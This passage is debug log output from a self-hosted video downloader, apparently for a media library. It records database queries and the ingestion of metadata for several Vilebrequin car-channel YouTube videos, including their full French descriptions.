s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:56.288 [debug] QUERY OK source="media_profiles" db=1.6ms queue=0.2ms idle=14.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:56.292 [debug] QUERY OK source="media_items" db=3.0ms queue=0.2ms idle=15.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10] 07:42:56.294 [debug] Current batch of media processed. Will check again in 1000ms 07:42:57.295 [debug] Current batch of media processed. Will check again in 1000ms 07:42:58.296 [debug] Current batch of media processed. Will check again in 1000ms 07:42:59.297 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\nUn grand merci à tous les invités qui ont accepté de participer au format : Squeezie, EtienneMoustache, Kaatsup, DepieloF1, Amixem, BagheraJones, HortyUnderscore, MisterV, SosoManess, Grim , LeBouseuh, Cocottee, CodJordan23, Maghla, Théodort, Théo Juice, Xavier Pincemin, Billy, AnaOnAir, Etoiles et Gotaga\nManon Lanza, SCH et Maxime Biaggi ont préféré décliner notre invitation à participer au format. \n\nÉquipes techniques :\nProduction : Cassandra Borie ; Anaelle Le Magorou \nJournalistes : Lauriane Dherbecourt, Pierre Pissavy, Julia Durrande, Alexandre Cayuela\nChef Opérateur : Lucas Martin\nCadre : Vincent Cordier\nSon : Alan Poirier\nRégie : Alexandra Collaro\nDrone : Adrien Loison\n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\nBaptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\nP.S.: Cette vidéo n'est pas sponsorisée par McDonalds. Mais on remercie quand même le restaurant du Mans pour leur aide ( on a vraiment mis une F4 dans un McDrive )\n\n#gpexplorer #F4 #lescoupesalamaison", "duration" => 3094, "filename" => "/downloads/Vilebrequin/2023-09-28 McDrive to Survive 2 : GP Explorer 2023/McDrive to Survive 2 : GP Explorer 2023 [Uav2fXWM2k8].mkv", "id" => "Uav2fXWM2k8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Uav2fXWM2k8", "playlist_index" => 11, "timestamp" => 1695919481, "title" => "McDrive to Survive 2 : GP Explorer 2023", "upload_date" => "20230928"} 07:42:59.299 [debug] QUERY OK source="sources" db=0.7ms idle=797.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:42:59.301 [debug] QUERY OK source="sources" db=0.5ms queue=0.3ms idle=309.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:59.306 [debug] QUERY OK source="media_items" db=4.2ms queue=0.1ms idle=4.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-28 16:44:41Z], 1] 07:42:59.310 [debug] QUERY OK source="media_items" db=3.3ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\nUn grand merci à tous les invités qui ont accepté de participer au format : Squeezie, EtienneMoustache, Kaatsup, DepieloF1, Amixem, BagheraJones, HortyUnderscore, MisterV, SosoManess, Grim , LeBouseuh, Cocottee, CodJordan23, Maghla, Théodort, Théo Juice, Xavier Pincemin, Billy, AnaOnAir, Etoiles et Gotaga\nManon Lanza, SCH et Maxime Biaggi ont préféré décliner notre invitation à participer au format. \n\nÉquipes techniques :\nProduction : Cassandra Borie ; Anaelle Le Magorou \nJournalistes : Lauriane Dherbecourt, Pierre Pissavy, Julia Durrande, Alexandre Cayuela\nChef Opérateur : Lucas Martin\nCadre : Vincent Cordier\nSon : Alan Poirier\nRégie : Alexandra Collaro\nDrone : Adrien Loison\n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\nBaptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\nP.S.: Cette vidéo n'est pas sponsorisée par McDonalds. Mais on remercie quand même le restaurant du Mans pour leur aide ( on a vraiment mis une F4 dans un McDrive )\n\n#gpexplorer #F4 #lescoupesalamaison", "McDrive to Survive 2 : GP Explorer 2023", "c9e6d8e7-32ed-4934-8ced-f89ae8d2930e", "Uav2fXWM2k8", 3094, false, "https://www.youtube.com/watch?v=Uav2fXWM2k8", 11, "/downloads/Vilebrequin/2023-09-28 McDrive to Survive 2 : GP Explorer 2023/McDrive to Survive 2 : GP Explorer 2023 [Uav2fXWM2k8].mkv", false, false, false, 1, [], 98, ~U[2023-09-28 16:44:41Z], ~U[2026-04-20 05:42:59Z], ~U[2026-04-20 05:42:59Z], "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\nUn grand merci à tous les invités qui ont accepté de participer au format : Squeezie, EtienneMoustache, Kaatsup, DepieloF1, Amixem, BagheraJones, HortyUnderscore, MisterV, SosoManess, Grim , LeBouseuh, Cocottee, CodJordan23, Maghla, Théodort, Théo Juice, Xavier Pincemin, Billy, AnaOnAir, Etoiles et Gotaga\nManon Lanza, SCH et Maxime Biaggi ont préféré décliner notre invitation à participer au format. \n\nÉquipes techniques :\nProduction : Cassandra Borie ; Anaelle Le Magorou \nJournalistes : Lauriane Dherbecourt, Pierre Pissavy, Julia Durrande, Alexandre Cayuela\nChef Opérateur : Lucas Martin\nCadre : Vincent Cordier\nSon : Alan Poirier\nRégie : Alexandra Collaro\nDrone : Adrien Loison\n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\nBaptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\nP.S.: Cette vidéo n'est pas sponsorisée par McDonalds. Mais on remercie quand même le restaurant du Mans pour leur aide ( on a vraiment mis une F4 dans un McDrive )\n\n#gpexplorer #F4 #lescoupesalamaison", "McDrive to Survive 2 : GP Explorer 2023", "Uav2fXWM2k8", 3094, false, "https://www.youtube.com/watch?v=Uav2fXWM2k8", "/downloads/Vilebrequin/2023-09-28 McDrive to Survive 2 : GP Explorer 2023/McDrive to Survive 2 : GP Explorer 2023 [Uav2fXWM2k8].mkv", false, 1, ~U[2023-09-28 16:44:41Z]] 07:42:59.312 [debug] QUERY OK source="sources" db=0.9ms idle=13.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:59.313 [debug] QUERY OK source="media_profiles" db=1.0ms idle=13.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:59.315 [debug] QUERY OK source="media_items" db=1.1ms idle=13.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11] 07:42:59.315 [debug] Current batch of media processed. Will check again in 1000ms 07:43:00.316 [debug] Current batch of media processed. Will check again in 1000ms 07:43:00.833 [info] {"source":"oban","duration":330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:43:01.317 [debug] Current batch of media processed. Will check again in 1000ms 07:43:02.318 [debug] Current batch of media processed. Will check again in 1000ms 07:43:03.320 [debug] Current batch of media processed. Will check again in 1000ms 07:43:04.322 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nUn très gros merci à BMW France, et plus particulièrement Pierre, qui nous a mis à disposition cette belle 2002 turbo,\nInstagram : https://www.instagram.com/bmwfrance/?hl=fr\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit,\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN pour leur travail sur ce tournage.\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Pierre Bouillot \nInsta : https://www.instagram.com/p.b_prod/?hl=fr\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #2002 #TURBO", "duration" => 1806, "filename" => "/downloads/Vilebrequin/2023-09-21 Essai BMW 2002 Turbo : TURBOOOO/Essai BMW 2002 Turbo : TURBOOOO [ACa7UVXrtvw].mkv", "id" => "ACa7UVXrtvw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ACa7UVXrtvw", "playlist_index" => 12, "timestamp" => 1695312900, "title" => "Essai BMW 2002 Turbo : TURBOOOO", "upload_date" => "20230921"} 07:43:04.325 [debug] QUERY OK source="sources" db=2.8ms queue=0.1ms idle=1023.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:43:04.328 [debug] QUERY OK source="sources" db=1.6ms queue=0.5ms idle=1026.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:04.337 [debug] QUERY OK source="media_items" db=7.7ms queue=1.3ms idle=1029.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-21 16:15:00Z], 1] 07:43:04.348 [debug] QUERY OK source="media_items" db=8.2ms queue=0.1ms idle=836.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nUn très gros merci à BMW France, et plus particulièrement Pierre, qui nous a mis à disposition cette belle 2002 turbo,\nInstagram : https://www.instagram.com/bmwfrance/?hl=fr\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit,\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN pour leur travail sur ce tournage.\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Pierre Bouillot \nInsta : https://www.instagram.com/p.b_prod/?hl=fr\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #2002 #TURBO", "Essai BMW 2002 Turbo : TURBOOOO", "17836718-ce4d-4b68-8389-90ff82ce5a52", "ACa7UVXrtvw", 1806, false, "https://www.youtube.com/watch?v=ACa7UVXrtvw", 12, "/downloads/Vilebrequin/2023-09-21 Essai BMW 2002 Turbo : TURBOOOO/Essai BMW 2002 Turbo : TURBOOOO [ACa7UVXrtvw].mkv", false, false, false, 1, [], 98, ~U[2023-09-21 16:15:00Z], ~U[2026-04-20 05:43:04Z], ~U[2026-04-20 05:43:04Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nUn très gros merci à BMW France, et plus particulièrement Pierre, qui nous a mis à disposition cette belle 2002 turbo,\nInstagram : https://www.instagram.com/bmwfrance/?hl=fr\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit,\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN pour leur travail sur ce tournage.\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Pierre Bouillot \nInsta : https://www.instagram.com/p.b_prod/?hl=fr\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #2002 #TURBO", "Essai BMW 2002 Turbo : TURBOOOO", "ACa7UVXrtvw", 1806, false, "https://www.youtube.com/watch?v=ACa7UVXrtvw", "/downloads/Vilebrequin/2023-09-21 Essai BMW 2002 Turbo : TURBOOOO/Essai BMW 2002 Turbo : TURBOOOO [ACa7UVXrtvw].mkv", false, 1, ~U[2023-09-21 16:15:00Z]] 07:43:04.354 [debug] QUERY OK source="sources" db=3.0ms queue=0.1ms idle=337.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:43:04.357 [debug] QUERY OK source="media_profiles" db=1.7ms queue=0.1ms idle=30.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:43:04.361 [debug] QUERY OK source="media_items" db=0.9ms queue=0.7ms idle=32.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12] 07:43:04.362 [debug] Current batch of media processed. Will check again in 1000ms 07:43:05.363 [debug] Current batch of media processed. Will check again in 1000ms 07:43:06.371 [debug] Current batch of media processed. Will check again in 1000ms 07:43:07.372 [debug] Current batch of media processed. Will check again in 1000ms 07:43:08.373 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci aux zouzous de Benzin pour le fond vert\nLe site : https://benzin.fr\nInstagram : https://www.instagram.com/benzinworld/\nFacebook : https://www.facebook.com/benzinworld/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #motorsport #driftsurleparkingducora", "duration" => 3677, "filename" => "/downloads/Vilebrequin/2023-09-14 Vultech : BMW ( enfin )/Vultech : BMW ( enfin ) [FaMFJhFTj3A].mkv", "id" => "FaMFJhFTj3A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FaMFJhFTj3A", "playlist_index" => 13, "timestamp" => 1694708100, "title" => "Vultech : BMW ( enfin )", "upload_date" => "20230914"} 07:43:08.377 [debug] QUERY OK source="sources" db=2.2ms queue=0.1ms idle=343.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:43:08.379 [debug] QUERY OK source="sources" db=1.1ms idle=77.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 